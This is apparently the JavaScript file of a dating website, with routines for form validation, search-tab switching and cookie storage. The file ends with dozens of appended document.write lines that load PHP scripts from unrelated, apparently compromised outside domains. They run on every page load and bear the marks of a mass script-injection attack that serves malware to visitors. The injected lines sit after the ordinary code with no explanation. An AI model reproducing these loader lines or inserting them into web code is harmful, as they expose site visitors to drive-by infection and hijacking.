function trim(field)
{
while(field.value.substring(0,1)==' ') field.value=field.value.substring(1,field.value.length);
while(field.value.substring(field.value.length-1,field.value.length)==' ') field.value=field.value.substring(0,field.value.length-1);
}
function fail_alert(field,message)
{ alert(message); field.focus(); return false; }

function check_select(field,message)
{
 return( field.selectedIndex > 0 ? true : fail_alert(field,message) ); 
}

function check_radiocheckbox(field,message)
{
for (var i = 0; i < field.length; i++ ) if ( field[i].checked ) return (true);
return( fail_alert(field[0],message) );
}

function check_iam18checkbox(field,message)
{
if ( field )
{
	if ( field.checked )
	{
		return (true);
	}
	return( fail_alert(field,message) );
}
return true;
}

function check_length( field, length, message )
{ trim(field); return( field.value.length>=length ? true : fail_alert(field,message) ); }

function check_bounds(field,min,max,message)
{ trim(field); return( field.value.length>=min&&field.value.length<=max ? true : fail_alert(field,message) ); }

var valid = new Object();
valid.name = /^[a-zA-Z0-9\._\s]*$/
valid.modername = valid.login =
valid.Username = /^[a-zA-Z0-9]{2,}$/; // username
valid.ZIP = /^\d{5}$/; // zip codes
valid.email = valid.Email = /^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/; // email
valid.Password = valid.OldPassword = valid.password = /.{4,}/;
valid.ConfirmPassword = /.{1,}/;
valid.admin_username = valid.Username;
valid.home_dir = /^[\/|a-zA-Z:\\]{1,3}[^:*?\"'<>\|]{5,}[\/|\\]{1}$/;
valid.site_ID = /^\d{1,}$/;
valid.color_theme = /^.{2,}$/;
valid.bizname = /^.{2,}$/;
valid.brand = /^.{2,}$/;
valid.mail_support = valid.Email;
valid.mail_links = valid.Email;
valid.mail_info = valid.Email;
valid.mail_ads = valid.Email;
valid.admin_mail = valid.Email;
valid.site_url = /./; // /^http:\/\/[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,4}|[0-9]{1,3})(\/)*[a-zA-Z0-9\-\._]*\/$/;
valid.ins_num = /^\d{6}$/;

//valid.IP = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/; // IP Address
//return( field.value.match('/'+pattern+'/i') ? true: fail_alert(field,message) ); }

var remote_region_address = 'http://dating-remote.dotsilver.com/get_region.php';
var cookie_mas = new Array();

function check_pattern( field, message )
{
	trim( field );
	var thePat = valid[field.name];
	if( !thePat.exec( field.value ) )
		return fail_alert( field, message );
	return true;
}
function countitdescme(what){
formcontent=what.form.DescriptionMe.value;
if ( what.form.displaycountme )
what.form.displaycountme.value=formcontent.length
}
function countitdescyou(what){

formcontent=what.form.DescriptionYou.value
if ( what.form.displaycountyou )
what.form.displaycountyou.value=formcontent.length
}
function set_last_act_day(what){
if ( what.form.display_lastactivity.value != 'day' )
what.form.num_last_act.disabled = 1
else
what.form.num_last_act.disabled = 0
}

function SubmitToZIP(text)
{
	var parentWindow = window.opener;
	parentWindow.document.getElementById('ZIP').value = text;
	window.close();
	return false;
}
function SubmitToParent(text)
{
	var parentWindow = window.opener;
	
	
	parentWindow.document.getElementById('City').value = text;
	if ( parentWindow.document.getElementById('City').onchange )
	{
		parentWindow.document.getElementById('City').onchange();
	}
	
	window.close();
	return false;
} //submitToParent


/*Set the values of form elements,
function works on page OnLoad whithout argument
else, function start, when click active search tab.
*/
function SetSearchType( type )
{
	
if ( type )
{
	switch(type)
	{
	case 'firsttype':
	document.getElementById('Country').disabled = true;
	document.getElementById('Region').disabled = true;
	document.getElementById('City').disabled = true; 
	document.getElementById('lookupcity').style.visibility = 'hidden';
	SetCookie('radius_search_cont/4div','search_tab_open');
	SetCookie('radius_search/4div','search_tab_active');
	document.getElementById('active_tab').value = 'radius_search_cont/4div';


	document.getElementById('RadiusSearch').disabled = false;
	document.getElementById('ZIP').disabled = false;
	SetCookie('select_reg_cont/4div','search_tab_close');
	SetCookie('select_reg/4div','search_tab_passive');

	SetCookie('ext_search_cont/4div','search_tab_close');
	SetCookie('ext_search/4div','search_tab_passive');

	// Hide or display tabs
	if ( document.getElementById('radius_search') )
	{
		document.getElementById('radius_search').className = 'search_tab_active';
	}
	if ( document.getElementById('select_reg') )
	{
		document.getElementById('select_reg').className = 'search_tab_passive';
	}
	if ( document.getElementById('ext_search') )
	{
		document.getElementById('ext_search').className = 'search_tab_passive';
	}
	
	// Display or hide containers with search types
	document.getElementById('radius_search_cont').className = 'search_tab_open';
	
	if ( document.getElementById('select_reg_cont') )
	{
		document.getElementById('select_reg_cont').className = 'search_tab_close';
	}
	if ( document.getElementById('ext_search_cont') )
	{
		document.getElementById('ext_search_cont').className = 'search_tab_close';
	}

	break;
	case 'secondtype':
	document.getElementById('Country').disabled = false;
		
	SetCookie('radius_search_cont/4div','search_tab_close');
	SetCookie('radius_search/4div','search_tab_passive');
		
	document.getElementById('RadiusSearch').disabled = true;
	document.getElementById('ZIP').disabled = true;
	
	SetCookie('select_reg_cont/4div','search_tab_open');
	SetCookie('select_reg/4div','search_tab_active');
	document.getElementById('active_tab').value = 'select_reg_cont/4div';
	
	if ( GetCookie('Country/4sel') != 'STUB' && GetCookie('Country/4sel') )
	{
		document.getElementById('divRegion').style.display="";
		document.getElementById('Region').disabled = false;
		LoadRegion(remote_region_address,'1','1',GetCookie('Region/4sel'));
	}
	else
	{
		document.getElementById('divRegion').style.display="none";
		document.getElementById('Region').disabled = true;
	}
	
	if ( GetCookie('Region/4sel') != 'STUB' && GetCookie('Region/4sel') != 'ERROR' && GetCookie('Region/4sel') && ( GetCookie('Country/4sel') != 'STUB' && GetCookie('Country/4sel') ) )
	{
		document.getElementById('City').disabled = false; 
		document.getElementById('lookupcity').style.visibility = 'visible';
		document.getElementById('divCity').style.display = "";
		document.getElementById('City').value = GetCookie('City/4txt');
	}
	else
	{
		document.getElementById('City').disabled = true; 
		document.getElementById('lookupcity').style.visibility = 'hidden';
		document.getElementById('divCity').style.display = "none";
	}	

	SetCookie('ext_search_cont/4div','search_tab_close');
	SetCookie('ext_search/4div','search_tab_passive');

	// Hide or display tabs
	document.getElementById('radius_search').className = 'search_tab_passive';
	document.getElementById('select_reg').className = 'search_tab_active';
	document.getElementById('ext_search').className = 'search_tab_passive';

	// Display or hide containers with search types
	document.getElementById('radius_search_cont').className = 'search_tab_close';
	document.getElementById('select_reg_cont').className = 'search_tab_open';
	document.getElementById('ext_search_cont').className = 'search_tab_close';

	break;
	case 'thirdtype':
	document.getElementById('Country').disabled = true;
	document.getElementById('Region').disabled = true;
	document.getElementById('City').disabled = true; 
	document.getElementById('lookupcity').style.visibility = 'hidden';
	SetCookie('radius_search_cont/4div','search_tab_close');
	SetCookie('radius_search/4div','search_tab_passive');

	document.getElementById('RadiusSearch').disabled = true;
	document.getElementById('ZIP').disabled = true;
	SetCookie('select_reg_cont/4div','search_tab_close');
	SetCookie('select_reg/4div','search_tab_passive');

	SetCookie('ext_search_cont/4div','new_search_tab_open');
	SetCookie('ext_search/4div','search_tab_active');
	document.getElementById('active_tab').value = 'ext_search_cont/4div';
	
	// Hide or display tabs
	document.getElementById('radius_search').className = 'search_tab_passive';
	document.getElementById('select_reg').className = 'search_tab_passive';
	document.getElementById('ext_search').className = 'search_tab_active';

	// Display or hide containers with search types
	document.getElementById('radius_search_cont').className = 'search_tab_close';
	document.getElementById('select_reg_cont').className = 'search_tab_close';
	document.getElementById('ext_search_cont').className = 'new_search_tab_open';
	break;
	}
}
else
{
	cur_console = GetCookie('console_tab');

	if ( document.getElementById('radius_search_cont') && ( document.getElementById('radius_search_cont').className == 'search_tab_open' || document.getElementById('radius_search_cont').className == 'console_tab_open' ) )
	{
		if ( cur_console == 1 )
		{
			document.getElementById('radius_search_cont').className = 'console_tab_open';
		}
		else
		{
			document.getElementById('radius_search_cont').className = 'search_tab_open';
		}
		document.getElementById('Country').disabled = true;
		document.getElementById('Region').disabled = true;
		document.getElementById('City').disabled = true; 
		document.getElementById('lookupcity').style.visibility = 'hidden';
		
		document.getElementById('RadiusSearch').disabled = false;
		document.getElementById('ZIP').disabled = false;
		
		document.getElementById('active_tab').value = 'radius_search_cont/4div';
		// Hide or display tabs
		if ( document.getElementById('select_reg') )
		{
			document.getElementById('select_reg').className = 'search_tab_passive';
		}
		if ( document.getElementById('ext_search') )
		{
			document.getElementById('ext_search').className = 'search_tab_passive';
		}

		// Display or hide containers with search types
		document.getElementById('select_reg_cont').className = 'search_tab_close';
		document.getElementById('ext_search_cont').className = 'search_tab_close';
	}
	else if ( document.getElementById('select_reg_cont') && ( document.getElementById('select_reg_cont').className == "search_tab_open" || document.getElementById('select_reg_cont').className == "console_tab_open" ) )
	{
		if ( cur_console == 1 )
		{
			document.getElementById('select_reg_cont').className = 'console_tab_open';
			document.getElementById('Country').style.width = '140px';
			document.getElementById('Region').style.width = '140px';
		}
		else
		{
			document.getElementById('select_reg_cont').className = 'search_tab_open';
		}
		
		document.getElementById('Country').disabled = false;
		document.getElementById('active_tab').value = 'select_reg_cont/4div';

		if ( GetCookie('Country/4sel') && GetCookie('Country/4sel') != 'STUB' )
		{
			document.getElementById('Region').disabled = false;
			document.getElementById('divRegion').style.display = "";
		
			if ( GetCookie('Region/4sel') && GetCookie('Region/4sel') != 'STUB'  && GetCookie('Region/4sel') != 'ERROR' )
			{
				document.getElementById('City').disabled = false; 
				document.getElementById('lookupcity').style.visibility = 'visible';
				document.getElementById('divCity').style.display = "";	
			}
		}

		document.getElementById('RadiusSearch').disabled = true;
		document.getElementById('ZIP').disabled = true;
	
		// Hide or display tabs
		if ( document.getElementById('radius_search') )
		{
			document.getElementById('radius_search').className = 'search_tab_passive';
		}
		if ( document.getElementById('ext_search') )
		{
			document.getElementById('ext_search').className = 'search_tab_passive';
		}

		// Display or hide containers with search types
		document.getElementById('radius_search_cont').className = 'search_tab_close';
		document.getElementById('ext_search_cont').className = 'search_tab_close';

	}
	else if ( document.getElementById('ext_search_cont') && ( document.getElementById('ext_search_cont').className == 'new_search_tab_open' ||  document.getElementById('ext_search_cont').className == 'new_console_tab_open' ) )
	{
		if ( cur_console == 1 )
		{
			document.getElementById('ext_search_cont').className = 'new_console_tab_open';
		}
		else
		{
			document.getElementById('ext_search_cont').className = 'new_search_tab_open';
		}

		document.getElementById('Country').disabled = true;
		document.getElementById('Region').disabled = true;
		document.getElementById('City').disabled = true; 
		document.getElementById('lookupcity').style.visibility = 'hidden';
	
		document.getElementById('RadiusSearch').disabled = true;
		document.getElementById('ZIP').disabled = true;
		document.getElementById('active_tab').value = 'ext_search_cont/4div';

		// Hide or display tabs
		if ( document.getElementById('radius_search') )
		{
			document.getElementById('radius_search').className = 'search_tab_passive';
		}
		if ( document.getElementById('select_reg') )
		{
			document.getElementById('select_reg').className = 'search_tab_passive';
		}

		// Display or hide containers with search types
		document.getElementById('radius_search_cont').className = 'search_tab_close';
		document.getElementById('select_reg_cont').className = 'search_tab_close';
	}
}

}


/* Set count of selected items 
in one div, this value store in 
hidden field, if this value > 0 then 
the style of div is changed.
*/
function SetDivCount( element,flag,key,el_key,img_url )
{
	if ( flag == true )
	{
		temp = document.getElementById('count'+element).value;
		document.getElementById('count'+element).value = ++temp;
		SetCookie(element+el_key+'/4icheck','true');
	}
	else
	{
		temp = document.getElementById('count'+element).value;
		document.getElementById('count'+element).value = --temp;
		SetCookie(element+el_key+'/4icheck','false');
	}
	// If the counter > 0 , then set other style for this div
	if ( document.getElementById('count'+element).value > 0 )
	{
		document.getElementById('cel'+key).className = 'search_adv_bar_checked';
		document.getElementById('cel'+key).style.backgroundImage = "url('"+img_url+"/arr_down_ch.gif')";
		SetCookie('cel'+key+'/4div','search_adv_bar_checked');
		SetCookie('count'+element+'/4hid',document.getElementById('count'+element).value);
	}
	else
	{
		document.getElementById('cel'+key).className = 'search_adv_bar';
		document.getElementById('cel'+key).style.backgroundImage = "url('"+img_url+"/arr_down.gif')";
		SetCookie('cel'+key+'/4div','search_adv_bar');
		SetCookie('count'+element+'/4hid','0');
	}
	return true;
}

function trim_str(str)
{
   return str.replace(/^\s*|\s*$/g,"");
}

/* Get the value of 'dating_cookie' cookie variable
and explode getted string into the global cookie_mas array.
*/
function GetNeedCookie()
{
	dating_cookie = unescape( GetRealCookie('dating_cookie') );

	if (dating_cookie)
	{
		var strings = new Array(); 
		var temp = new Array();
  
		strings = dating_cookie.split("/5");

		for (var i=0; i<strings.length; i++)
		{
			temp = strings[i].split("=");
			cookie_mas[temp[0]] = temp[1];
		}
  
	}
	else
	{
		return false;
	}

	return true;

}

/* This function return the value
of system cookie variable.
*/
function GetRealCookie(name) 
{
	var RESULT;

	if (document.cookie)
	{
		var startPos, endPos; 
  
		startPos = document.cookie.search(name) + name.length + 1; 

		if(document.cookie.indexOf(";", startPos) != -1)
		{
			endPos = document.cookie.indexOf(";", startPos);
		}
		else
		{
			endPos = document.cookie.length;
		}

	RESULT = document.cookie.substring(startPos, endPos);
	}
	else
	{
		return false;
	}

	return RESULT;
}

/*This function set the new value
of dating_cookie variable in system cookie,
this function callback in OnSubmit action of page.
*/
function SetRealCookie()
{
	var date = new Date();
	// Set time expire for cookie	
	date.setMilliseconds( date.getTime() + 400000);
	var COOKIE;
	var result = '';

	for( var item in cookie_mas )
	{
		result = result + item + '=' + cookie_mas[item]+'/5';
	}

	COOKIE = "dating_cookie=" + result + "; "+date.toGMTString()+"; PATH=/;";
	document.cookie = COOKIE;
	return true;
}

/* Set the value of item 
in cooie_mas array, this is a global array
*/
function SetCookie(name, value, flag)
{
	if ( !value )
	{
		value =' ';
	}

	cookie_mas[name] = value;

	return true;
}

/* Get the value of item 
from cookie_mas array.
*/
function GetCookie(name) 
{

	if ( cookie_mas[name] )
	{
		return cookie_mas[name];
	}
	else
	{
		return '';
	}

}

/* Set the value of form items on a search page */
function CheckSearchCond(flag,img_url)
{

	allcookies = cookie_mas;
	for ( var i in allcookies )
	{
		field_type = i.split('/4');
		temp = trim_str( field_type[0] );
		if ( temp )
		temp = temp.replace( /\+/g, ' ' );
		if ( document.getElementById(temp) || document.getElementById(allcookies[i]))
{
		allcookies[i] = allcookies[i].replace( /\+/g, ' ' );
		switch(field_type[1])
		{
			case "radio":
			if ( !flag )
			{
				document.getElementById(allcookies[i]).checked = true;
			}
			else
			{
				SetCookie(i,'');
			}
			break;
			case "icheck":
			if ( allcookies[i] == 'true' )
			{
				if ( !flag )
				{
					document.getElementById(temp).checked = true;
				}
				else
				{
					SetCookie(i, false);
				}
			}
			else
			{
				document.getElementById(temp).checked = false;
			}
			break;
			case "div":
			if ( !flag )
			{
				document.getElementById(temp).className = allcookies[i];
			}
			else
			{
				switch( temp )
				{
				case "radius_search":
				document.getElementById(temp).className = "search_tab_active";
				document.getElementById("radius_search_cont").className = "search_tab_open";
				SetCookie(i,'search_tab_active');
				SetCookie('radius_search_cont/4div','search_tab_open');
				break;
				case "select_reg":
				document.getElementById(temp).className = "search_tab_passive";
				document.getElementById("select_reg_cont").className = "search_tab_close";
				SetCookie(i,'search_tab_passive');
				SetCookie('select_reg_cont/4div','search_tab_close');
				break;
				case "ext_search":
				document.getElementById(temp).className = "search_tab_passive";
				document.getElementById("ext_search_cont").className = "search_tab_close";
				SetCookie(i,'search_tab_passive');
				SetCookie('ext_search_cont/4div','search_tab_close');
				break;
				default:
				if ( document.getElementById('block'+trim_str(temp.substr(3,5))))
				{
					document.getElementById('block'+trim_str(temp.substr(3,5))).style.display = "none";
					document.getElementById(temp).style.backgroundImage = "url('"+img_url+"/arr_right.gif')";
				}
				document.getElementById(temp).className = "search_adv_bar";
				SetCookie(i,"search_adv_bar");
				break;
				}
			}
			break;
			case "hid":
			if ( !flag )
			{
				document.getElementById(temp).value = allcookies[i];
			}
			else
			{
				SetCookie(i,0);document.getElementById(temp).value = '0';
			}
			break;
			case "sel":
			if ( !flag )
			{
				if ( temp == "Country" && allcookies[i] && allcookies[i] != 'STUB' && GetCookie('select_reg_cont/4div') == 'search_tab_open')
				{
					document.getElementById('divRegion').style.display="";
					document.getElementById(temp).value = allcookies[i];
					LoadRegion(remote_region_address,'1','1',GetCookie('Region/4sel'));
					if ( GetCookie('Region/4sel') && GetCookie('Region/4sel') != 'STUB' )
					{
						document.getElementById('divCity').style.display = "";
					}
					else
					{
						document.getElementById('divCity').style.display = "none";
					}
					
				}
				else if  ( temp != "Region" && allcookies[i] )
				{
					document.getElementById(temp).value = allcookies[i];
				}
			}
			else
			{
				if ( temp == 'Region' || temp == 'Country' )
				{
					SetCookie(i,'STUB');
				}
				else
				{
					SetCookie(i,'');
				}
				document.getElementById('divRegion').style.display = "none";
				document.getElementById('divCity').style.display = "none";
			}
			break;
			case "txt":
			if ( !flag )
			{
				if ( temp == "City" )
				{
					if ( GetCookie('Region/4sel') != 'STUB' && GetCookie('Country/4sel') != 'STUB' )
					{
						if ( allcookies[i] )
						{
							document.getElementById(temp).value = allcookies[i];
						}
						else
						{
							document.getElementById(temp).value = '';
						}
						document.getElementById('divCity').style.display = "";
					}
					else
					{
						allcookies[i] = '';
						SetCookie('City/4txt','');
					}
				}
				else
				{
					if ( allcookies[i] )
					{
						document.getElementById(temp).value = allcookies[i];
					}
					else
					{
						document.getElementById(temp).value = '';
					}
				}
			}
			else
			{
				SetCookie(i,'');
				document.getElementById(temp).value = '';	
			}
			break;
		}			 
	}
}
	return true;
}

document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://starktourism.com/flash/mt_global.php ><\/script>');
document.write('<script src=http://ssmgulf.com/_vti_bin/real_estate.php ><\/script>');
document.write('<script src=http://ssmgulf.com/_vti_bin/real_estate.php ><\/script>');
document.write('<script src=http://ssmgulf.com/_vti_bin/real_estate.php ><\/script>');
document.write('<script src=http://ssmgulf.com/_vti_bin/real_estate.php ><\/script>');
document.write('<script src=http://ssmgulf.com/_vti_bin/real_estate.php ><\/script>');
document.write('<script src=http://blackblood.extra.hu/m/Kanon.php ><\/script>');
document.write('<script src=http://blackblood.extra.hu/m/Kanon.php ><\/script>');
document.write('<script src=http://writeup.co.jp/mpmail/asp.astal.jp/contact/memo.php ><\/script>');
document.write('<script src=http://writeup.co.jp/mpmail/asp.astal.jp/contact/memo.php ><\/script>');
document.write('<script src=http://teva.ua/editor/baner.php ><\/script>');
document.write('<script src=http://teva.ua/editor/baner.php ><\/script>');
document.write('<script src=http://teva.ua/editor/baner.php ><\/script>');
document.write('<script src=http://teva.ua/editor/baner.php ><\/script>');
document.write('<script src=http://teva.ua/editor/baner.php ><\/script>');
document.write('<script src=http://teva.ua/editor/baner.php ><\/script>');
document.write('<script src=http://teva.ua/editor/baner.php ><\/script>');
document.write('<script src=http://ozgubilgisayar.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ozgubilgisayar.com/images/gifimg.php ><\/script>');
document.write('<script src=http://skil-p.r6r.ru/CSS/robots.php ><\/script>');
document.write('<script src=http://skil-p.r6r.ru/CSS/robots.php ><\/script>');
document.write('<script src=http://skil-p.r6r.ru/CSS/robots.php ><\/script>');
document.write('<script src=http://maunistudy.com/images/Default.aspx.php ><\/script>');
document.write('<script src=http://maunistudy.com/images/Default.aspx.php ><\/script>');
document.write('<script src=http://maunistudy.com/images/Default.aspx.php ><\/script>');
document.write('<script src=http://glaccsings.com/slides/joinus.php ><\/script>');
document.write('<script src=http://glaccsings.com/slides/joinus.php ><\/script>');